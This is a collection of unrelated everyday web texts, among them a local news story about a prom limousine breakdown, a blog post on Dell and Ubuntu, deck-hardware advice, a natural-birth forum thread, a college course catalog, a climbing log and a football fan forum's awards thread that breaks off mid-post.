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By Julie Muhlstein Herald Writer
Prom night might make a funny story for some members of Glacier Peak High School's class of 2013 — years from now. Just a week after prom, it's still a touchy subject.
A Cadillac Escalade limousine rented by 20 teens to take them to the prom at Kenmore's Inglewood Golf Club broke down on I-405 in Bellevue.
Less than an hour of the May 11 dance was left when they finally got there. And what was planned as a fancy evening became a chaotic scramble for rides.
Mary Haff, whose daughter Luca organized the limo rental, disputes what the owner of JJ Limousine Service said happened after the car died. And teens said the limo they reserved wasn't the one that showed up. All agree the unfortunate incident ruined what began as a well-planned evening.
"It shouldn't have happened. It sucked. But for the most part we also had fun," Glacier Peak senior Quin Tuckman said.
"I did the best I can," said JJ Sidhu, owner of the limo business based in Bellevue and Seattle. He said the problem was the car's alternator, which is now repaired.
Both Sidhu and Mary Haff said the rental fee of $1,134 was refunded on prom night. Haff, though, has serious concerns after what she believes could have been a roadside tragedy.
"I think we need some answers," the Clearview-area mother said. She has complained to Sidhu's company and to the Washington State Patrol.
After being picked up by the limo at Glacier Peak in Snohomish, the dressed-up teens were headed for dinner at Seattle's Hard Rock Cafe. The limo died in the right lane of southbound I-405, near Overlake Hospital. It lost all power, so windows didn't work.
After parents brought cars, the kids finally made it to dinner late, and to the dance much later.
"People were starting to leave," said Madeline Hart, Tuckman's date. "By the time we got there, there were only about a quarter of them left."
Missing the biggest night of high school is no fun. Worse, Haff believes, is a lack of responsibility by the limo company and a troubling response by the State Patrol.
The teens and Haff say troopers stopped at the scene twice. First, a trooper moved the limo onto the shoulder. A second State Patrol car stopped briefly and the trooper talked with the driver. Haff thinks an officer should have talked with the teens and stayed on the scene.
"It's undisputed that two troopers took time to check on the vehicle," said Bob Calkins, a State Patrol spokesman. "We made sure the vehicle was clear of the road. And we checked with the driver of the vehicle, who appeared responsible and who assured the trooper that assistance was en route."
Calkins said troopers assess every situation. If the car had been in a more dangerous spot or far from help, an officer might have stayed, he said.
Sidhu said he went to the scene within 15 minutes of being called by the driver. He also said he had calls from Haff about the possibility of sending another limo. He said he told her all his cars were booked. He also said he believed the teens had already called parents for transportation.
Haff said that wasn't the case. She said she and her husband had been contacted by the teens, but expected the limousine company to fix the problem by sending other vehicles. She also said the 2006 Escalade that broke down wasn't the newer model her daughter had booked online, and that the car was in disrepair.
The business owner said he told the driver to keep the kids in the car. It was a warm night, and the car heated up.
"It was way too hot," Haff said. "They were on the side of the road for almost an hour and a half. Kids were on the side of the road, with cars whizzing by, pretending like they were hitchhiking. They're teenagers."
Hart feels badly for Luca Haff, who planned the evening. The kids rushed through dinner, which couldn't be canceled without losing more than $600. And instead of after-prom dessert in downtown Seattle, they went bowling in Lynnwood.
"It's not how you would imagine it," Hart said, adding that it was odd to be stuck along a freeway in a lavender gown and 4-inch heels.
For Haff, there was more at stake than a memorable prom.
"It's mainly the safety of the kids," she said. "They were clearly put in danger."
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Well, I never said I was perfect. But I reported a story in Open Source Reporter, taking the lead from a blogger, that Red Hat would be the distro of choice in the Dell family of hardware, and imagine my surprise — okay chagrin — when they chose Ubuntu instead (You can read the story by going here; it's the top story in OSR today).
The marriage of Red Hat and Dell sort of made sense. If Dell had, um, "issues" with providing support for the 500 or so flavors of GNU/Linux out there, business smarts would dictate that they would go with the distro with the deepest customer service. Plus, Red Hat's enterprise wing could, in theory anyway, seamlessly work itself into that part of Dell's offerings to businesses who run servers and the like on GNU/Linux (and many who are running on RHEL, like my employer, but I digress . . . ).
However, Ubuntu is an excellent choice to represent GNU/Linux for Dell. Ubuntu, too, has an extensive customer service department — probably to become more extensive thanks to this new arrangement — and it will be interesting to see if and how (especially how, if the "if" is a "yes") Ubuntu can serve business accounts, if that's the plan going forward.
I'll take my crow, fork in hand, with a lot of spices and a significant amount of condiments, please. And in the words of the San Francisco Chronicle's Jon Carroll, "mea damn culpa" for getting it wrong.
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When building a deck, you'll have a number of joist hanger options—galvanized, triple galvanized, coated and stainless—all at a wide range of prices. Which one is best?
If you live in a coastal area (near salt water), you don't have a choice—the building codes require stainless steel hangers, plates and fasteners. But if you live inland, you have more options. Most codes allow you to use hot-dipped galvanized (sometimes called triple-zinc) hardware (see Photo 1).
However, if you want to take a step up in corrosion protection, you can buy Gold Coat galvanized hardware that's been treated with an inert barrier coating (see Photo 2). It costs three times more than traditional hot-dipped hardware, but lasts longer (for more info, visit uspconnectors.com). Or you can increase the life of triple zinc hardware by installing corrosion-resistant flashing between the wood and the hot-dipped galvanized hardware (Photo 3). Grace Vycor Deck Protector (graceathome.com) and Protecto Deck Flashing are two brands; they're available from your lumber supplier. It's ugly, so you might not like it on a raised deck where you can view the deck from beneath.
Before you decide on hardware, consider this. The newer arsenic-free treated lumber hasn't been in the field long enough for anyone to know how long hot-dipped hardware will last. Since the hardware is the least costly part of your deck, you might want to hedge your bets by upgrading to stainless steel even though it's seven times more expensive. That way, you'll never have to replace hardware. This advice is especially germane for decks sporting super-long-lasting composite materials. There's a real chance the decking materials will outlive all the hardware.
Note: Never mix fasteners. Use stainless nails with stainless hardware, and galvanized fasteners with galvanized hardware.


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9th August 2013 05:31 AM #1
In the News: Biggest Baby Born Naturally
Have you seen the news reports today about the biggest baby born naturally ever to have been recorded in Spain?
What are your feelings about this story?
I find it unhelpful that the media seems to have focused on the idea that the 'mum didn't even ask for an epidural' and that this is surprising in the media's eyes. My feeling is that this form of reporting adds to fear about labour. It also reinforces the unhelpful view that a bigger baby needs to be born using medical intervention.
Little by little, we read one-sided views in the media surrounding childbirth; opinions are presented as facts and not backed up with statistics. As women, we start to absorb the view that childbirth should be excruciatingly painful and an ordeal to be endured.
I believe this caused my first birth to be long and traumatic as I tensed up, resisting each contraction, in a state of fear. Before my second birth I re-learnt about birth and how our bodies are created to give birth. Natural births are possible in all but the minority of cases. Labour is hard work and can be very intense but it can also be an empowering and positive experience.
I hope the mother of this 'big baby' experienced this in labour - it sounds like she did a great job. I hope the baby is healthy; I know this is an unusual case and very big baby's can be due to gestational diabetes or maternal obesity.
I look forward to reading others' thoughts on this.
Warm wishes,
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Hi LJ,
This baby was about 13 1/2 lbs., or 6.2 kg. That is quite a large baby. I've heard of my midwives catching babies that were about 11 lbs or 5 kg. I also read a story about a mum who had been advised to have a C-Section on the hospital, because she tended to have big babies.
She chose to have the next baby at home, with an unassisted delivery (if anyone is going to consider an unassisted delivery, please do a lot of research before hand) and this mum ended up successfully delivering a baby naturally that was close to 11 lbs. (5 kg). She did have to squat to help open up her pelvis and make room for baby to descend.
I agree with everything you said and I hope that more mums will find the empowerment to birth larger babies naturally. Finding a supportive midwife or health practitioner is key.
Warm Regards,
27th August 2013 02:47 AM #3
That's a fascinating birth story Kate.
This discussion of 'big babies' has reminded me of another issue concerning birth. Many hospitals advise women who are predicted to have a 'big baby' to have an induction (here they are talking about babes who are predicted to have a birth weight significantly larger than average yet not a weight that would be medically concerning in itself). This concerns me for two main reasons. The first is that the prediction of babies' birth weights is generally not very reliable or accurate. Here is a link to one study on the subject. Most commonly, the pregnant woman's bump is measured in order to estimate the fetal wight and also the newborn weight. Again, this can be quite unreliable. Many women are advised to have an induction or even a c-section because of a 'big baby' that arrives at an average weight. In these cases, this means a woman has had unnecessary medical interventions; raising the risk of her labour unnecessarily.
My second concern with hospitals who advise pregnant women of predicted bigger weight babies to have an induction, is that induction generally means a more difficult labour. Induction inhibits the natural production of Oxytocin in a woman's body that may not be quite ready to go into labour. In induction with a Syntocinon drip, a woman is not able to move around freely or use a birthing pool. This means her labour is more likely to be more uncomfortable and that she is more likely to need an epidural which raises the likelihood of further interventions.
Your comments above 'I hope that more mums will find the empowerment to birth larger babies naturally. Finding a supportive midwife or health practitioner is key.' are so relevant in terms of this induction issue. Feeling empowered and having the right support is vital. It can mean the different between a positive birth and a traumatic birth.
Best wishes,
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Wow that is a big baby. I hope woman feel empowered at the amazing things our bodies can do after reading this story!
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I had a big baby at home..he was 10+2 pounds.....midwife assisted. We had no idea he was as big as he was.....I felt very empowered during that pregnancy as if I could accomplish anything as a women. Great article LJ, thanks for sharing.


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DESTINATION: MYANMAR, Forbidden Island
In the waters of the Andaman Sea…
Off the coast of Myanmar…
A group of sea nomads has made their life among these remote islands for centuries.
Known as the Moken (Mōken), their origins are mysterious.
The Moken’s extraordinary ability to reap the bounty of the sea has allowed them to live a life apart.
As hunter gatherers of the sea they catch fish, gather sea urchins at low tide, and dive deep for shellfish at high tide.
The Moken are born on the sea, learning to swim before they can walk.
Their aquatic skills are enhanced by their ability to see underwater twice as clearly as the rest of us.
It helps them find and collect tiny shellfish on the sea floor.
Tonight one of the young Moken women is diving for “pencil” sea urchins, which venture out after dark.
Diving at night, she has to be careful of sharp coral and spiny sea urchins.
Moken have been known to dive as deep as 75 feet without masks or scuba gear…
Staying underwater for extended periods.
A good haul means the pencil urchins can be sold at market for cash.
Although the Moken are very good at living off the ocean, there are still a few necessities the waters can’t provide.
They must occasionally buy rice, cooking oil and diesel fuel to run their boats.
Reaching civilization, they do business with the one local merchant the Moken trust.
He’s married to a Moken woman and understands their world intimately.
Village life has attracted many Moken to leave the sea, while others  fear they will be forced to settle by the country’s brutal regime.
But this group doesn’t find civilization enticing.
Supplies in hand, they are happy to return to the sea.
While many Moken have left the seas, tradition remains strong with this clan, as they continue to carve out a living from this remote Eden.


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*WGSS 150 EARLHAM SEMINAR II (4 credits) Offered for first-year students. Topics vary. (ES)
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*WGSS 246 EUROPEAN WOMEN'S AND GENDER HISTORY (3 credits) An examination of women's and gender history in the 19th and 20th centuries across a range of European countries with particular focus on politics, gender roles, sexuality, and culture. Allows students to question narrow (national, disciplinary, epistemological) boundaries, think critically about the gendered constructions of European society, and reflect upon the distinctive contributions of women's history. Also listed as HIST 246. (D-I) (AY)
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WGSS 343 WOMEN IN GERMAN LITERATURE AND CULTURE (4 credits) Critical reading of representative works. Focuses on the contributions of women to the literary life and cultures of German-speaking countries. Also explores myths and misconceptions regarding women by addressing questions of image and reality. Prerequisite: An Interpretive Practices course or consent of the instructor. Also listed as GER 343. (AY)
*WGSS 357 GENDER AND SEXUALITY IN THE ANCIENT WORLD (3 credits) This course explores ways the ancient Greeks constructed notions of gender and sexuality. Students examine a wide range of primary evidence (such as drama, poetry, philosophy, science or medical treatises, court documents, art, architecture and daily artifacts) in order to uncover Greek attitudes and practices. By confronting the assumptions of a culture that was in many ways radically different from our own, we address some of the fundamental ways that ideas about gender and sexuality inform and shape societal expectations and institutions, from personal identity and forms of self-expression to the legal, medical and political mechanisms that govern society. Knowledge of a classical language is not required. Prerequisite: An Interpretive Practices course or consent of the instructor. Also listed as ANCS 357. (WI)
WGSS TBA READINGS IN AFRICAN AMERICAN WOMEN'S HISTORY (4 credits)Explores select topics in the history of African American women from the era of antebellum slavery to the present, using such primary sources as slave narratives, autobiographies, documents and historical monographs. Topics include gender relations in the slave community, the gendered nature of slave resistance and rebellion, the politics of economic emancipation, women's activism in the struggle against racial violence and segregation and the role of women in the Civil Rights and Black Power movements.
*WGSS 364 PSYCHOLOGY OF WOMEN (3 credits) Examines women's lives and experiences through the lens of psychological research. Includes a variety of psychological perspectives and issues in women's lives, as well as discussions about gender as a social framework. Prerequisite: PSYC 115 or WGSS 305, and Sophomore standing or above. Also listed as PSYC 364. (D-D)
*WGSS 365 WOMEN, GENDER AND SEXUALITY (4 credits)Critically examines the discursive construction of a presumed natural link between sex, gender and desire, emphasizing connections between the naturalization of heterosexuality and the formation of nations and empires. (D-D or D-I)
*WGSS 367 HISTORY OF WOMEN, GENDER AND SEXUALITY IN THE UNITED STATES (3 credits) A survey of U.S. social history from 1607 to the present, focusing on the historical contours of female/male sex roles and the family. Topics include marriage, the family, child rearing, work, education, sexuality and gynecology, and reproduction. Analyzes the effects of war, racism, slavery, immigration, industrialization and consumerism, along with abolitionism, temperance, feminism, civil rights and other social protest movements. Prerequisite: Earlham Seminar II, HIST 121 or 122, or consent of the instructor. Also listed as HIST 367. (D-D) (AY)
WGSS 368 HUMAN SEXUALITY (3 credits)Sexuality is central to our lives. It is involved in many of our most fundamental relationships and engages some of our strongest emotions. This course provides an examination of human sexuality (encompassing sexual behaviors, sexual identity, social norms/attitudes, etc.) and the psychological, physiological and sociocultural influences upon human sexuality. Prerequisite: sophomore standing. Also listed as PSYC 368. (AY)
WGSS 375 FEMINIST THEORIES (4 credits) An interdisciplinary and intersectional examination of major feminist theories. The course emphasizes a diversity of perspectives, highlights generative debates and considers the implications of theoretical frameworks for people's lives and experience. Prerequisite: WGSS 305.
WGSS 440 FEMINIST / WOMANIST THEOLOGY (4 credits) Traces the histories of women in the church and explores the emergence of feminist/womanist theology in the 20th century. Focuses on current feminist/womanist thought and action in today's societies. Also listed as AAAS 440 and REL 440. (AY)
WGSS 481 INTERNSHIPS, FIELD STUDIES AND OTHER FIELD EXPERIENCES (1-3 credits)
*WGSS 482 SPECIAL TOPICS (3-4 credits)Selected topics determined by the instructor for upper-level study. Examples of recent and future offerings include Queer Histories: Dissident Sexualities in U.S. History, Women and the Civil Rights Movement, Women Writers and the Color Line, Lesbian Literature and Culture, Feminist Friendship, Asian Immigrant Women, Public Policy and Women, Feminist Ethics, Womanism and Toni Morrison, and Feminist Film.
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WGSS 484 FORD/KNIGHT RESEARCH PROJECT (1-4 credits) Collaborative research with faculty funded by the Ford/Knight Program.
WGSS 485 INDEPENDENT STUDY (1-3 credits) Investigation of a specific topic conceived and planned by the student in consultation with a faculty supervisor. Culminates in a comprehensive project such as a report prepared in the style of a thesis or research paper, a performance or public presentation, etc.
WGSS 487 SENIOR DEMONSTRATIVE PROJECT (2 credits) Part of the Women's, Gender, Sexuality Studies Senior Comprehensive. The project requires students to synthesize the theory and practice and to demonstrate a nuanced understanding of an issue or problem relevant to the Earlham community. Students present their demonstrative project to the Earlham community in spring semester of the senior year. Recent projects include an investigation and discussion of abortion narratives in film, slam poetry, organizing a lecture series on minority women's health issues, and creating one-woman art shows.
WGSS 488 SENIOR CAPSTONE EXPERIENCE (4 credits) Focuses on a question or theme selected by the instructor in consultation with the Senior students. Provides an opportunity to integrate the breadth of Women's, Gender, Sexuality Studies experiences and to make plans for living out a life that includes the intersection of our personal, intellectual and activist commitments. Recent seminar topics include women and violence, the limits of language, reproductive technologies, abortion, postmodernism and working-class women. Prerequisite: WGSS 375.


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(NEWSER) – When Elliot Rodger's parents realized just how dangerous their disturbed son was, they made a desperate attempt to try to stop him. They received a copy of his 141-page manifesto and saw a YouTube video outlining his plans for his "Day of Retribution" on Friday night and called 911 before rushing to Santa Barbara in separate cars, a family friend tells the New York Daily News. They heard about the shooting spree while they were on their way. "They were hoping against hope," the friend says. "They are in inconceivable pain.
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Crystal Crag Climber's Log
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|North Arete
Date Climbed: Jun 26, 2016
|Very enjoyable climb
|Posted Jun 30, 2016 11:09 pm
|North Arete
Date Climbed: Aug 16, 2011
|Seemed like a good climb, but with the high winds and cold temp. we were moving too fast to enjoy it. Didn't bring warm enough clothes.
With Todd.
|Posted Oct 28, 2015 12:36 am
|South Ridge
Date Climbed: Jul 6, 2015
|Good scramble with lots of options. The best lines are higher on the ridgeline (as is usually the case).
|Posted Jul 18, 2015 7:12 pm
|Dave Daly
|Crystal Clear!
Date Climbed: Jul 2, 2011
|An enjoyable day out! Topped out with Deb via the North Arete and headed into town for Mammy brews.
|Posted Jul 6, 2015 7:26 am
|South Ridge
Date Climbed: Aug 17, 2014
|Great scramble up the south ridge. Really enjoyable class-3 (or higher if you wish) on solid rock.
|Posted Aug 17, 2014 2:41 pm
|Alex Wood
|Windy as All Hell
Date Climbed: Sep 24, 2013
|Incredible windy! The summit was spectacular though. Just a very cold and windy day.
|Posted Nov 13, 2013 5:39 pm
Date Climbed: Sep 27, 2013
|Took and unknown route on the west face to the notch between the north and south summits. This section was class three with some loose sections but not much exposure. From the notch I climbed south to the true summit. The last section is very exposed 4th to low 5th class. First time in the area.
|Posted Sep 28, 2013 1:38 am
|Need a 2nd Date
Date Climbed: Aug 2, 2013
|Immediately after climbing Mammoth Rock, I thought I'd try Crystal Crag. Well, I showed up with no route info and no skill - just my own hands, and my feet in trail running shoes. I thought I had climbed to the summit from the west side, but when I turned around and looked to the south, it appeared I had not. The smoke from the Aspen fire was getting to me, so I backed off and hiked up Mammoth Crest to get a better look at what I'd been attempting. I'll finish the job some other time...
|Posted Aug 5, 2013 9:25 pm
|Beautiful Fall Day
Date Climbed: Oct 14, 2012
|Beautiful crisp fall day. Cold in the morning. Thought the crux to be higher up. Climbed with my wife who enjoyed it quite a bit! The quartz was everything as promised - really neat.
|Posted Oct 15, 2012 11:25 am
|West Side
Date Climbed: Oct 7, 2012
|Nice weather. Nice views.
|Posted Oct 8, 2012 12:40 am
|Happy 4th of Jult!
Date Climbed: Jul 2, 2011
|What a beautiful climb and so much snow to wade through to get to the base! The crystal pitch was blindly bright.
|Posted Sep 13, 2012 5:29 pm
|West Side
Date Climbed: Oct 10, 1998
|With Mike Johnson, lightning, good hike
|Posted Feb 26, 2012 8:31 pm
|North arete solo
Date Climbed: Sep 1, 2011
|A fun half-day excursion.
|Posted Feb 4, 2012 2:19 pm
|North Arete
Date Climbed: Sep 18, 2011
|Great day with JedSMG and Ol' Walsher...cool route and interesting summit traverse...all in all, a beautiful late summer Sierra day...
|Posted Sep 19, 2011 1:15 am
|Vitaliy M.
|North Arete
Date Climbed: Sep 5, 2011
|Did this guy on the drive back to the Bay Area. Short approach/climb made for a nice half a day outing.
|Posted Sep 6, 2011 9:19 pm
|N. Arete var.
Date Climbed: Aug 18, 2011
|Climbed a N. Arete variation with the Gazelle. First pitch was up the excellent face just left of the starting dihedral/chimney. Fun climbing and superb views from the ridge up high. Crystal pitch was colorful, but a bit loose. Very alpine feel overall.
|Posted Aug 23, 2011 2:22 pm
|N. Arete
Date Climbed: Sep 20, 2010
|Climbed with "pfrank". Paul lead crux pitches since I was tired from 5 straight days in the Palisades. Late September weekday = no a single other person in Crystal Lake basin. Beautiful weather, views, and solitude.
|Posted Sep 22, 2010 4:43 pm
|In the Area
Date Climbed: Sep 11, 2010
|so I couldn't pass off ticking off one of the routes listed in Croft's guidebook :-). Led the first and third pitch of the N Arete & simul-climbed to the summit. Descended the S Ridge, taking a difficult line (cl. 4-5). Then I realized I left my sneakers on the summit, so I climbed up and down an easier line (cl. 3).
|Posted Sep 14, 2010 4:58 am
Date Climbed: Aug 1, 2010
|An absolutely beautiful route :-) Very rewarding at the top!
|Posted Sep 12, 2010 11:56 pm
|North Arete
Date Climbed: Aug 1, 2010
|Climbed with the lovely girlfriend. Poor gal got her foot stuck in a hand crack.
|Posted Aug 2, 2010 10:40 am


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|31st August 2012
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text: Hi - Some suggestions regarding improving pbiDIR (both pbidir.com and Software Browser, and perhaps the Kickoff Application Launcher too). 1. It would be helpful for users to use additional keywords to search the pbi database as some ports (hence their PBIs) are quite hard to find solely with its name. For instance, if I need math/R and enter "R" on pbidir.com, it will give me a long list of pbi which contains this character whereas the exact PBI "R" locates in the middle of the fifth page. If I try the same search in Software Browser, the Browser also gives me a long list with everything contains the character "r" but then clicking on the next page will give me a message "No PBI found for your search criteria" which then switch back to its homepage within a second or two. Like this, it's sometimes almost impossible to dig out the buried PBI unless you know in what category that PBI is located. In our example, it is under "Math" but I wouldn't surprise if others thought it's under "Educational", "Office" or even "Development". To make pbidir easier to use, it would be good to allow users search for PBIs with additional options... perhaps something like what freebsd.org/ports or freshports provide. 2. Another thing is that I think the structure of pbidir and that of "Application" in KDE4 need to be re-organised as sometimes it is a bit confusing when a specific PBI is required. Let's take the previously stated R as example again. The statistical package is under the category "math" in the FreeBSD port tree, and under "Mathematics" in pbidir, whereas it is under "Utilities" in PCBSD kickoff Application Launcher. I confess that I should have made this PBI to be installed under "Education/Mathematics" when I created the module (this will be fixed shortly), but the point is that we need to find a way to sort out the possible inconsistency in the location of an application in FreeBSD port tree/pbidir/Kickoff Launcher. Another confusing example is Emacs - this is listed in "editors", "ipv6" and many other categories in the port tree/freshports, listed in "Office" in pbidir whereas can be found in "System" in the Kickoff Launcher (!?). 3. I cannot remember which PBI for now but I noticed that in pbidir some PBIs have thumbnails with a very large file size... some of them are even as large as 2~3MB - obviously overwhelming as a thumbnail which is supposed to have been some KB in size. Also some thumbnails are utterly blurry and some others are plain broken (for instance, Opera). These thumbnail images need to be polished when time. Regards, Sam


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OLYMPIA — How the state plans to procure and sell marijuana is expected to be discussed at a series of public forums over the next month.
In November, voters approved Initiative 502, launching Washington into the recreational marijuana business. If the federal government doesn't sue to stop it, the state is supposed to have a supply chain and retail outlets set up to sell pot to the public by Dec. 1.
As part of the process, the Washington State Liquor Control Board plans to hold six evening public forums on the initiative starting next week. None of the forums is planned to be held in Snohomish County, but there are meetings planned in Mount Vernon and Seattle.
The forums are an opportunity to meet the staff involved, find out how they plan to start this up and solicit opinions to the liquor control board to consider as the board develops rules.
"Clearly there is passion about what Washington's system of legal marijuana will look like when fully implemented," said board chairwoman Sharon Foster in a statement. "This is an opportunity for the public to meet the board and staff involved in implementation, learn about our role in implementation and to provide testimony."
More information including a fact sheet, answers to frequently asked questions and a tentative timeline is available on the liquor control board website at www.liq.wa.gov.
The agenda for each meeting includes: 6-7 p.m. open house with board and staff; 7–7:05 p.m. board welcome; 7:05–7:15 p.m. overview of board's role in implementation and timeline; 7:15–10 p.m. public testimony.
Meetings are scheduled for:
•Tuesday: Washington State Liquor Control Board Headquarters, Conference Room 201, 3000 Pacific Ave. SE, Olympia;
•Thursday: Seattle City Hall, Bertha Knight Landes Room, 600 Fourth Ave., Seattle;
•Feb. 7: Clark College, Vancouver, Foster Auditorium, 1933 Fort Vancouver Way, Vancouver;
•Feb. 12: Spokane City Hall, Council Chambers; 808 W. Spokane Falls Blvd., Spokane;
•Feb. 19: Skagit Valley College, Mount Vernon, Theater; 2405 E. College Way, Mount Vernon;
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Melissa Levy has made PAWS into Philadelphia's most visible and effective animal shelter.
If you have adopted a dog or a cat in the Philadelphia area over the last few years, you have — directly or indirectly — Melissa Levy to thank for it. And you're not alone: This past September, Levy's organization, PAWS, found a home for its 10,000th animal since becoming an independent 501 (c)3 corporation in 2009.
Levy, 40, is the executive director of the Philadelphia Animal Welfare Society. You may not know who she is, but you have no doubt lingered in front of the organization's adoption boutique at the corner of Second and Arch streets in Old City, or stopped to pet one of their dogs in the distinctive orange-and-yellow "Adopt Me" vests at events across the region.
Levy, a lifelong Philadelphian and current South Philly resident, left a career in communications to turn the once-vestigial lifesaving arm of Animal Control into the pre-eminent advocate for the roughly 30,000 dogs and cats that are turned in each year. PAWS, now the city's largest no-kill shelter, opened a clinic in 2010 in South Philadelphia that has treated more than 17,000 animals since it opened, and will soon add a combination adoption center/clinic in the Northeast. Following are excerpts from an interview with Levy, who has a dog and a cat.
When did you know that you wanted to be involved full-time with animals?
It was in 2006. I had adopted a dog the prior year. I knew things were bad, but I had no idea that there was no real effort to get the animals adopted out. I went to Animal Control and said, I want to help. When I started turning away work because I was so busy volunteering, I realized that I had stumbled into the thing that I was supposed to be doing.
What did being hired full-time allow you to do differently?
Very quickly, we were able to increase the save rate at the Animal Control shelter from 11 percent to 50-60 percent. Around 26,000 were being killed when I started there; now it's down to about 12,000 a year.
Did you want to work with animals when you were young?
Nope! I loved animals, and I had pets growing up, but I thought I would be a writer, a journalist. I always had an entrepreneurial spirit, starting little ventures. The work I do now brings together all of those things — being able to communicate, get a message out, speak to what matters to people, and being able to organize. To develop and lead a healthy organization is every bit as important as loving animals.
What role did your upbringing have in bringing you to PAWS?
As I was growing up, there was a strong message to feel connected and responsible to my community. My identity as a Jew has always been important to me, and that responsibility to each other and community has always been an underlying theme in our family and in my life.
What coping mechanisms do you have for dealing with life-and-death situations on a daily basis?
For me, the trick has been to focus on every individual life, but also to keep an eye on the big picture. Every success we have, every life we save is a victory and is fuel to keep us moving on to the next challenge. We can't become focused on every individual story, because an individual case can be so emotional and suck so much out of you — it can break you. As painful as those moments are when we can't save an animal, there are thousands of others depending on us to keep going and keep our eyes on the prize.
Greg Salisbury's son would like him to adopt another dog and cat. This article originally appeared in Inside Magazine, a Jewish Exponent publication.


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Posted: Fri Apr 10, 2009 4:48 pm
Post subject: The Texans Nation Awards Show [FINISHED!]
Well, it has been a long time coming for these awards. (If I did my math correctly, it has been about 8 months actually.) However, my momma always told me to finish every thing I started so I'm going to host this award show right now.
These awards remind me of a sports story. As a sixth grader in "junior high" we either had to participate in track or go to art class. My art teacher absolutely hated me so I had no option but to run track. Now, I have always loved playing sports but I was never the fastest guy on a team so my friends laughed at me for wanting to run track.
My track coach recognized my "talent" and decided that I should run the 3200 so our team could win the local track meet. He said all I had to do was run the race and get third place. Now I may not be fast, but I sure loved the idea of getting a medal.
So the district track meet came and my race came up. I looked to my right and there was one person next to me. Then I looked to my left and there was one person next to me. My coach tricked me into running a race of only three people. After running what I would describe the best 16 minutes of my life, I was greeted by my mom cheering me on at the end.
So that is my personal story of why the TNAs and my track career go hand-in-hand.
With that said, I will be handing out the awards over the next couple of days. It is going to be really informal of when I will be online, but these awards will get presented.
[I'm going to ask no one post in this thread until I reserve 5 posts on this thread in order for better readability of the thread.]
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Before we start the award show, I would like to thank
for modding over the Houston Texans Forum. They really are two of the better mods on this Forum, and some times go unnoticed. So here is an internet hand clap from me to y'all. Also, another shout out to
for making all the sigs in this award show as well as every other sig that a Texans Nation member is sporting.
Now on to some fun. Now our first award,
Jacoby Jones Award
, I don't know if it is a compliment or not but it is an honor. However, the recipient is definitely deserving of many compliments. The past couple seasons he has been around posting in game day threads and just about every other thread made on this forum. Even though the post may just be a simple "I agree" or he may go in depth and post a sentence or two... (I just was informed by our producers this isn't the Texans Nation Roast)... so with out further to do,
come down and accept your award.
Our next award is going to one of my favorite posters on this site. The
Eric Winston Award
is definitely going to an underrated poster. Whether he is going in depth on one his draft threads, or just making another one of his quality posts in a thread, this poster is a real asset to this forum. He also made a great call for the NCAA Tourney (which I followed his advice) by picking Villanova to go deep into the tourner. Will
come up here and accept his award.
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Man, was that a good break from this show. Mom made some home-cooked enchiladas, had a little beans, rice, queso dip, and topped it off with a great cup of coffee. Definitely don't enjoy that in the dining halls at good 'ole Baylor. Well, y'all don't care about my dinner so I'll get to the real treat.
Alex Gibbs Award
goes to one of my favorite posters on this site. He definitely is one of the most respected posters on this site, and will make a great minister when he graduates college. Every time I see posted in a thread I make sure to read it. Plus, after his past two months on this site, ESPN and the Houston Texans should be trying to hire him. He has made my favorite mock draft on this site and ran a beautiful FFMD. He may go to We Like Sheep University, but
come up and accept what is rightfully yours.
Mario Williams Award
is very deserving. This poster definitely lives his life in the fast lane despite his part of the country thinking it is 2004. I'm sure where he lives more people think that Brett Favre is President than Barack Obama. Like Blaze, this poster responds to nearly every thread posted on this forum. However, unlike Blaze, this poster is very confrontational in his posting. Hate him or love him, he is definitely amazing. He loves his Texans and will be there for any Texans member. Last year I wasn't able to watch the NFL Draft due to other circumstances. This poster stepped up and texted me pick by pick the draft. For that I am very grateful, and I am proud to present amazingandre or
with his rightful award.
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Just got back from seeing the movie 12 Rounds and feel like joining in the FBI, but instead of doing that I'll post three more awards! That sounds exciting!
Gary Kubiak Award
is going to one of the most recognizable faces in the Houston Texans Forum. He is one of the most respected members inside and outside the forum. (I have picked up some chatter from other members that he deserves to be a FF MVP Candidate in the next voting!) Members like him because he knows his stuff. He is truly a quality member of this forum and I love every post of his. So
, come up here and accept your award!
The next award is going to a true expert. The Richard Smith Award goes to the member of our forum that has recently been fired... (Wait a minute, I was just told that it is the
Rick Smith Award
. That was a close one, it would have been awkward to have a Richard Smith Award.) The Rick Smith Award is going to a true draft expert. I love his posts, and especially read his draft related posts. In a forum filled with great draft guys, I am glad to honor
with this award.
With our last award of the day goes out to a up-and-comer. Even though I petitioned for the
Amobi Okoye Award
to go to the best username, the award is still going to great use for the best poster under 18. I would never have known by this guys posts that he was under 18 and still in high school. Not that being 18 and under is bad, he just puts great thought and depth into his posts. If age makes you smarter, he may follow in some of our fellow members footsteps and go to some great Universities... *cough*Baylor*cough*. I'm sure you can play every position for our football team here as well. Will
please stand up?
Stay tuned, there are some more surprises for the readers.
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Oh man, y'all are in for a good show today. Our 'Meco and Andre awards are going out. This is the post everyone has been waiting for. So I won't ramble any more and get to the awards.
For our
Demeco Ryans Award
, we have truly a great recipient of the award. I will say he is the most liked guy on this forum. I know he is no longer considered a rookie but he put a lot of time and effort into this forum. Not only does in contribute in the Texans forum, but I have seen quality posts all over the site under his name. Like Ryans, he won rookie of the year in the TNA's but now has stepped up and become a pro bowl poster. It is a shame that he actually has a real life outside the forum, despite his busy life he still posts on this forum. He is definitely a great homey to this forum so will
Jacoby's Homey
please come accept this award.
Now on to the real enchilada, the
Andre Johnson Award
is finally here. Needless to say, there are a lot of great posters in this forum. If I can recall correctly, there were 6 members who received first place votes for this award, and around 12 that received votes for this award. It came down to the final ballot to determine the award. With that said, a truly great poster won the award. When this poster first arrived on this forum, we had no clue what to do with him. He had long, drawn out arguments against some of our favorite players and coaches on this forum. He did not go with the flow, yet he caused each one of us to reexamine our views on the team. Thus, he challenged us to make up our own opinions instead of just agreeing with each other. Some members on forums may want to have a high post count for show. This member does not care about his post count; rather, he puts time and effort into each one of his post. Some say he is from outer space, while others say he is just a horse. There is even one guy around here calling him the second coming of Nostradamus. However, I call this Baylor Alum,
Apollo Stallion.
It is a true honor to have you on this forum.
P.S- (What a great year for Baylor. We could have the top overall pick, we had the best freshman QB, we had the best host for the Texans Nation Awards, and now we have the best overall poster in the forum. Sic 'em Bears.)
P.P.S- There is one more award out there. Stay tuned.
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For a special award,
Lork 88
receives his rightfully due
Longtime Achievement Award
. Instead of me posting about him, I decided to ask the members of Texans Nation on what they thought about Lork.
kenney wrote:
